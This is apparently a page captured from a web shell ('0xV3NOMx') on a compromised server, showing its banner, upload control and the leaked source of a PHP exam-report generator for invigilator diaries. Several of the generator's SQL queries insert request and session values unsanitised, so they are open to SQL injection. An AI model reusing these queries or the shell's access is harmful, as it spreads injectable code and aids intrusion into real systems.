0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.21.244.240


Current Path : /var/www/oasis/css/
Upload File :
Current File : /var/www/oasis/css/report_ra_invigilators_dairy.php

<?php
$main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7);
$pdf_writer_class =$main_src."/tarka_pdf/fpdf.php";
require_once($pdf_writer_class);
	
class ra_invigilators_dairy  extends FPDF
{
	function DefaultConstructor($aobj_context)
	{
		session_start();
		$this->aobj_context=$aobj_context;
		session_start();
		$FUNIVCODE = $_SESSION['FUNIVCODE'];
		$this->pdf=  new FPDF();
		$this->pdf=$this;
		$this->qp_code=trim($this->aobj_context->mobj_data["qp_code"]);
		$this->room_range_from=trim($this->aobj_context->mobj_data["room_range_from"]);
		$this->room_range_to=trim($this->aobj_context->mobj_data["room_range_to"]);
		$this->rtype=trim($this->aobj_context->mobj_data["rtype"]);
		$this->room_range_from=str_pad($this->room_range_from, 3, "0", STR_PAD_LEFT);  
		$this->room_range_to=str_pad($this->room_range_to, 3, "0", STR_PAD_LEFT);  
		$this->ip=$_SERVER["REMOTE_ADDR"];
		$get_date="select date_add(date_add(now(),INTERVAL 13 hour),interval 30 minute) as now_date";
		$obj=$this->aobj_context->mobj_db->GetRow($get_date);
		$this->current_date=$obj[now_date];	
		$this->collcode=$_SESSION['collcode'];	
		$this->headeractive = true;
	}
 
	function Header()
	{
		session_start();
		$FUNIVCODE = $_SESSION['FUNIVCODE'];
	
		if($FUNIVCODE == '031')
		{
			if(!empty($this->pdf_logo_path))
			{
				$img_logo_path=$this->aobj_context->main_src."/img/logo.jpg";
				$this->pdf->Image($img_logo_path,60,4,80);
				$this->pdf->Ln(10);
			}	
		}else
		{
			$img_path=$this->aobj_context->main_src.$this->photo_path;
			if(!empty($this->photo_path) && file_exists($img_path)) 
			{			
				$this->pdf->Image($img_path,166,50,50);
			}	
			if(!empty($this->pdf_logo_path))
			{
				$img_logo_path=$this->aobj_context->main_src.$this->pdf_logo_path;
				$this->pdf->Image($img_logo_path,10,10,20);
			}
			
			$img_path2 = $this->aobj_context->main_src."/img/logo2.jpg";
			if(file_exists($img_path2))
			{
				$this->pdf->Image($img_path2,170,6,23,23);
			}
			
			$this->pdf->SetFont('Times','B',15);
			$this->pdf->cell(180,3,$this->FUNIVNAME."","0",1,"C");
			$this->pdf->SetFont('Times','B',8);
			$this->pdf->cell(180,6, $this->s_state,"0",1,"C");
		}
		if($FUNIVCODE == '003' || $this->funivcode == '003U')
		{
			$this->pdf->SetFont('Times','B',11);
			$this->pdf->cell(200,6, "Centre : $this->college_details ","0",1,"C");
		}
		$this->pdf->SetFont('Times','B',10);
		if($FUNIVCODE == '005')
			$this->pdf->Cell(180,6,"ATTENDANCE SHEET","0",1,"C");
		else
			$this->pdf->Cell(180,6,"INVIGILATOR'S DIARY - {$this->FEXAMDATE} EXAMINATION","0",1,"C");
		
		//$this->pdf->SetFont('Times','',11);
		//$this->pdf->Cell(180,6," {$this->FEXAMDATE} EXAMINATION","0",1,"C");
		$this->pdf->SetFont('Times','',12);
		$this->pdf->Cell(180,6," {$this->sub_details}","0",1,"C");
		$this->pdf->Cell(180,6," {$this->exam_date}","0",1,"C");
		$this->pdf->Ln(1);
		$this->pdf->SetFont('Times','',12);
		$empty_cell_width=12;
		$this->pdf->cell($empty_cell_width,7, ""," ",0,"C");
		$this->pdf->SetFont('Times','B',14);
		$this->pdf->Cell(180,7,"Room No. :   {$this->hall_no}         Room Name : ","0",1,"L");
		$this->pdf->SetFont('Times','B',12);
		if($this->headeractive == true)
		{	
			if($this->rtype == 'F')
			{	
				$this->pdf->cell($empty_cell_width,7, ""," ",0,"C");
				$this->pdf->cell(10,7, "Sl.","LRT",0,"C");
				$this->pdf->cell(20,7, "Reg. No.","LRT",0,"C");						
				$this->pdf->cell(75,7, "Name","LRT",0,"C");
				//$this->pdf->cell(30,7, "Ans. Book No.","LRT",0,"C");
				$this->pdf->cell(30,7, "Ans. Book No.","LRT",0,"C");
				$this->pdf->cell(30,7, "Student","LRT",1,"C");
				
				$this->pdf->cell($empty_cell_width,4, ""," ",0,"C");
				$this->pdf->cell(10,4, "No.","LRB",0,"C");
				$this->pdf->cell(20,4, "","LRB",0,"C");						
				$this->pdf->cell(75,4, "","LRB",0,"C");
				$this->pdf->SetFont('Times','B',8);
				//$this->pdf->cell(30,4, "(Computer Generated)","LRB",0,"C");
				$this->pdf->cell(30,4, "(Fill By Student)","LRB",0,"C");
				$this->pdf->SetFont('Times','B',11);
				$this->pdf->cell(30,4, "Signature","LRB",1,"C");
				
			}else 
			{
					
				$this->pdf->cell($empty_cell_width,7, ""," ",0,"C");
				$this->pdf->cell(15,7, "Sl. No.","1",0,"C");
				$this->pdf->cell(20,7, "Reg. No.","1",0,"C");						
				$this->pdf->cell(75,7, "Name","1",0,"C");
				$this->pdf->cell(27,7, "Photo","1",0,"C");
				$this->pdf->cell(27,7, "Ans. Book No.","1",0,"C");
				$this->pdf->cell(27,7, "Signature","1",1,"C");
				
			/* 	$this->pdf->cell($empty_cell_width,7, ""," ",0,"C");
				$this->pdf->cell(15,20, "Sl. No.","1",0,"C");
				$this->pdf->cell(20,20, "Reg. No.","1",0,"C");						
				$this->pdf->cell(70,20, "Name","1",0,"C");
				$this->pdf->cell(20,20, "Photo","1",0,"C");
				$this->pdf->cell(28,20, "Ans. Book No.","1",0,"C");
				$this->pdf->cell(28,20, "Signature","1",1,"C"); */
			}	
		}	
	}	
	
	function Footer()
	{
		$this->SetY(-15);
		$this->pdf->SetFont('Times','B',8);
	$pagecount ='{nb}';
	//var_dump($pagecount);
		//$this->Cell(140,6,'Entered  : IP Address : '.$this->ip_address." Date ".$this->created_date,'0',0,'L');
		$this->Cell(140,6,'Printed   : IP Address : '.$this->ip." Date ".$this->current_date,'0',0,'L');
		$this->Cell(50,6,'Page '.$this->PageNo().' of '.$pagecount,0,1,'R');
	}
	
	function formcolldata()
	{
		
		$get_coll_name="select FUNIVNAME as 'FUNIVNAME',funivcode,
						FUNIVADD1 as 'state', pdf_logo_path From control";
		$lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name);
		$this->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME'];
		$this->s_state=$lobj_get_coll_name['state'];
		$this->f_year=$lobj_get_coll_name['f_year'];
		$this->funivcode = $lobj_get_coll_name['funivcode']; 
		$this->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path'];
	 	
		$get_data="SELECT c.FCOLLCODE,
				CONCAT(c.FCOLLCODE, ' - ', c.FCOLLNAME,', ',c.FTOWN) AS FCOLLNAME FROM college c
				where c.FCOLLCODE='{$this->collcode}'";					
		$obj_student=$this->aobj_context->mobj_db->GetRow($get_data); 
		 
		$this->college_details=$obj_student[FCOLLNAME];
	 
		$this->degree_details=" College : {$this->FCOLLNAME}";		
		$get_qp_details = "select FEXAMDATE,CONCAT(s.FSUBNAME,' ',s.FSSUBNAME) AS FSSUBNAME from subject s 
		inner join degree d on d. FDEGREE=s.FDEGREE and d.fexamno = s.fexamno 
		where s.FQPCODE='{$this->qp_code}'";
		$obj_get_qp_details=$this->aobj_context->mobj_db->GetRow($get_qp_details); 
		$FSSUBNAME=$obj_get_qp_details['FSSUBNAME'];
		$this->FEXAMDATE=$obj_get_qp_details['FEXAMDATE'];
		$this->sub_details="Subject : {$this->qp_code} - {$FSSUBNAME} ";
		$get_qp_data="SELECT distinct DATE_FORMAT(s.FDOE,'%d/%m/%Y') AS FDOE,s.FSESSION, r.fdescpn
					FROM room_allotment ra inner join subject s on ra.fqpcode = s.fqpcode left outer join
					reason r on s.fsession = r.freasoncd
					WHERE ra.FCOLLCODE='{$this->collcode}'
					AND ra.FQPCODE='{$this->qp_code}'";
		$obj_get_qp_data=$this->aobj_context->mobj_db->GetRow($get_qp_data);	
		$this->exam_date="Exam Date : {$obj_get_qp_data['FDOE']}, {$obj_get_qp_data['fdescpn']} ";
	 }
	 
		 
		
	function GetFullQry()
	{
	
		$get_data="SELECT FHALLNO,cd.FREGNO,st.FNAME ,ifnull(al.FANSBOOKNO,'') as FANSBOOKNO,masroom.froomname,st.fphotopath
		FROM canddet cd INNER JOIN subject s ON s.fdegree = cd.fdegree and s.fexamno = cd.fexamno 
		and s.FSUBCODE=cd.FSUBCODE
		inner join candsum cs on cs.FREGNO=cd.FREGNO AND cd.FDEGREE=cs.FDEGREE
		AND cd.FCOLLCODE=cs.FCOLLCODE 
		inner join student st on st.FREGNO=cd.FREGNO AND cd.FCOLLCODE=st.FCOLLCODE 
		LEFT JOIN masroom ON masroom.froomno = FHALLNO AND masroom.FCOLLCODE = cs.FCOLLCODE
		left join ansallot al on al.FCOLLCODE = cs.FCOLLCODE and al.FREGNO = cs.fregno and al.fqpcode = s.fqpcode
		and ifnull(al.FCANCEL,'') <> 'T'
		WHERE cs.FCNTRCODE='{$this->collcode}' and s.ftheory = 'T' and ifnull(s.fintass,'') <> 'T'
		and ifnull(s.fretain,'') <> 'T'
		and TRIM(s.FQPCODE)='{$this->qp_code}' and ifnull(cd.FHALLNO,'') <> ''
		AND lpad(cd.FHALLNO,3,'0') between '{$this->room_range_from}' and '{$this->room_range_to}'
		and FPRESENT='P' and ifnull(cd.fpassmth,'') = '' and ifnull(FRECPTDATE,'0000-00-00')<>'0000-00-00'
		order by FHALLNO,cd.FREGNO";
		$this->lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data);
		//var_dump($get_data);
		$this->final_data_arr=array();
		$this->hallname= array();
		$c=0;
		foreach($this->lobj_get_data as $ak=>$av)
		{
			$this->final_data_arr[$av['FHALLNO']][$av['FREGNO']]['FREGNO']=$av['FREGNO'];
			$this->final_data_arr[$av['FHALLNO']][$av['FREGNO']]['FNAME']=$av['FNAME'];
			$this->final_data_arr[$av['FHALLNO']][$av['FREGNO']]['FANSBOOKNO']=$av['FANSBOOKNO'];
			$this->final_data_arr[$av['FHALLNO']][$av['FREGNO']]['fphotopath']=$av['fphotopath']; 
			// To display room name 12/11/2016
			$this->hallname[$av['FHALLNO']] = $av['froomname'];
			$c++;
		} 
	}
		
	function WriteSlNoRow()
	{
		
	}
	
	function formData()
	{
		session_start();
		$FUNIVCODE = $_SESSION['FUNIVCODE'];
	
		$this->pdf->SetMargins(3,12,10);		
		
		$empty_cell_width=12;
		$this->pdf->SetFont('Times','B',10);
		$this->pdf->cell($empty_cell_width,7, ""," ",0,"C");
		$cnt=0;
		// echo "<pre>";
		 //print_r($this->final_data_arr);die();
		foreach($this->final_data_arr as $hallk=>$hallv)
		{
			// To display room name 12/11/2016
			
			if($this->funivcode == '003' ||$this->funivcode == '003U')
			{
				$this->hall_no = $hallk;
				
			}
			else
			{	
				$this->hall_no = $this->hallname[$hallk];
			}	
			
			$this->headeractive = true;
			$this->pdf->AddPage();
			$sl_no=1;
			
			$c=1;	$t_s=0;	
			$this->pdf->SetFont('Times','',12);
			$cnt=0;
			foreach($hallv as $hk=>$hv)
			{
				$cnt++;
				if($this->pdf->GetY() > 250) //if($cnt > 30)
				{
					//$this->hall_no=$this->hallname[$hallk];
					
					if($this->funivcode == '003' ||$this->funivcode == '003U')
					{
						$this->hall_no = $hallk;
					}
					else
					{	
						$this->hall_no = $this->hallname[$hallk];
					}
					$this->headeractive = true;
					$this->pdf->AddPage();
					$cnt = 0;
				}
				if($this->rtype == 'F')
				{		
					$this->pdf->cell($empty_cell_width,7, ""," ",0,"C");
					$this->pdf->cell(10,7, $sl_no,"1",0,"C");
					$this->pdf->cell(20,7, $hv['FREGNO'],"1",0,"C");						
					$this->pdf->cell(75,7, $hv['FNAME'],"1",0,"L");//FANSBOOKNO
					//$this->pdf->cell(30,7, $hv['FANSBOOKNO'],"1",0,"C");
					$this->pdf->cell(30,7, "","1",0,"C");
					$this->pdf->cell(30,7, "","1",1,"C");
				}else
				{
					$x = $this->pdf->GetX();
					$y = $this->pdf->GetY();
					$full_photo_path=trim($this->aobj_context->main_src."/".$hv['fphotopath']);
					if(file_exists($full_photo_path) && !empty($hv['fphotopath']))
					{
					
						$this->pdf->Image($full_photo_path,128,$y+1,18,18);						
					}
					else
					{
						$this->pdf->Image($this->aobj_context->main_src."/img/nophotoborder.jpg",128,$y+1,18,18);				
					}
					
					$this->pdf->cell($empty_cell_width,7, ""," ",0,"C");
					$this->pdf->cell(15,20, $sl_no,"1",0,"C");
					$this->pdf->cell(20,20, $hv['FREGNO'],"1",0,"C");						
					$this->pdf->cell(75,20, $hv['FNAME'],"1",0,"L");
					$this->pdf->cell(27,20,'',"1",0,"L");
					$this->pdf->cell(27,20, "","1",0,"C");
					$this->pdf->cell(27,20, "","1",1,"C");
				}	
				$c++;
				$sl_no++;
				$t_s+=1;
				
				
			}
			
			if($FUNIVCODE == "035" || $FUNIVCODE == "017" || $FUNIVCODE == "003" || $FUNIVCODE == "033" || $FUNIVCODE == "012" || $FUNIVCODE == "003U")
			{	
				$this->pdf->Ln(1);				
				if($this->pdf->GetY() > 120)
				{
					$this->headeractive = false;
					$this->pdf->AddPage();
				}
				$this->pdf->SetFont('Times','BU',11);
				$this->pdf->cell(12,7, "","0",0,"L");
				$this->pdf->cell(180,7, "*(Fill By Invigilator)","",1,"C");		
				$this->pdf->SetFont('Times','B',11);
				$this->pdf->cell(12,10, "","0",0,"L");				
				$this->pdf->cell(50,10, "Name of the Invigilator","1",0,"L");	
				$this->pdf->cell(121,10, "","1",1,"L");	
				$this->pdf->cell(12,10, "","0",0,"L");
				$this->pdf->cell(50,10, "Designation","1",0,"L");	
				$this->pdf->cell(121,10, "","1",1,"L");
				$this->pdf->cell(12,5, "","0",0,"L");
				$this->pdf->cell(50,5, "Serial No. of Answer","LRT",0,"L");	
				$this->pdf->cell(40,5, "From","1",0,"C");
				$this->pdf->cell(40,5, "To","1",0,"C");
				$this->pdf->cell(41,5, "Total","1",1,"C");
				$this->pdf->cell(12,5, "","0",0,"L");
				$this->pdf->cell(50,5, "Books Issued to Invigilator","LRB",0,"L");	
				$this->pdf->SetFont('Times','',12);
				$this->pdf->cell(40,5, "","1",0,"C");
				$this->pdf->cell(40,5, "","1",0,"C");
				$this->pdf->cell(41,5, "","1",1,"C");
				$this->pdf->cell(12,10, "","0",0,"L");
				$this->pdf->cell(90,10, "Register No. of Candidate(s) who arrived late","1",0,"L");	
				$this->pdf->cell(81,10, "","1",1,"C");
				$this->pdf->cell(12,10, "","0",0,"L");			
				$this->pdf->cell(90,5, "Register No. of Candidate(s) who left the ","LR",0,"L");				
				$this->pdf->cell(81,5, "","LR",1,"C");
				$this->pdf->cell(12,5, "","0",0,"L");
				$this->pdf->cell(90,5, "hall temporarily ","LRB",0,"L");
				$this->pdf->cell(81,5, "","LRB",1,"C");				
				$this->pdf->cell(12,10, "","0",0,"L");
				$this->pdf->cell(90,10, "Register No. of Absentee(s)","1",0,"L");	
				$this->pdf->cell(81,10, "","1",1,"C");
				$this->pdf->cell(12,10, "","0",0,"L");
				$this->pdf->cell(90,10, "Total No. of Absentee(s)","1",0,"L");	
				$this->pdf->cell(81,10, "","1",1,"C");
				$this->pdf->cell(12,5, "","0",0,"L");
				$this->pdf->cell(90,5, "Total No. of Candidate(s) Answer Books handed","LR",0,"L");	
				$this->pdf->cell(81,5, "","LR",1,"C");
				$this->pdf->cell(12,5, "","0",0,"L");
				$this->pdf->cell(90,5, "over to Chief - Superintendent","LRB",0,"L");	
				$this->pdf->cell(81,5, "","LRB",1,"C");
				$this->pdf->cell(12,5, "","0",0,"L");
				$this->pdf->cell(90,5, "Serial No. of Blank Answer Books returned ","LRT",0,"L");	
				$this->pdf->cell(81,5, "","LR",1,"C");
				$this->pdf->cell(12,5, "","0",0,"L");
				$this->pdf->cell(90,5, "to Chief-Superintendent ","LRB",0,"L");	
				$this->pdf->cell(81,5, "","LRB",1,"C");
				$this->pdf->cell(12,5, "","0",0,"L");
				$this->pdf->cell(90,5, "Register No. of Candidate(s) Involved in ","LR",0,"L");	
				$this->pdf->cell(81,5, "","LR",1,"C");
				$this->pdf->cell(12,5, "","0",0,"L");
				$this->pdf->cell(90,5, "Malpractice","LRB",0,"L");	
				$this->pdf->cell(81,5, "","LRB",1,"C");
				$this->pdf->cell(12,10, "","0",0,"L");
				$this->pdf->cell(90,10, "Sl.No. of Ans Book of M.P. Case(s)","1",0,"L");		
				$this->pdf->cell(81,10, "","1",1,"C");
				$this->pdf->cell(12,10, "","0",0,"L");
				$this->pdf->cell(90,10, "Remarks regarding M.P.Case(s)","1",0,"L");	
				$this->pdf->cell(81,10, "","1",1,"C");
				$this->pdf->Ln(10);
				$this->pdf->cell(12,5, "","0",0,"L");
				$this->pdf->Cell(80,7,"Date  : _________ ","0",0,"L");
				$this->pdf->Cell(90,7,"Signature of the Invigilator ","0",1,"R");
			}
		}

	}
	 
	function SendOutput()
	{
		$this->pdf->Output("Invigilators Dairy.pdf","D");
	}

}

function GenerateInvigilatorsDairy($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

	$class_obj=new ra_invigilators_dairy();
	$class_obj->AliasNbPages();
	$class_obj->DefaultConstructor($aobj_context);

	$class_obj->GetFullQry();
	 $class_obj->formcolldata();
	$class_obj->formData();
	 
	$class_obj->SendOutput();
}

?>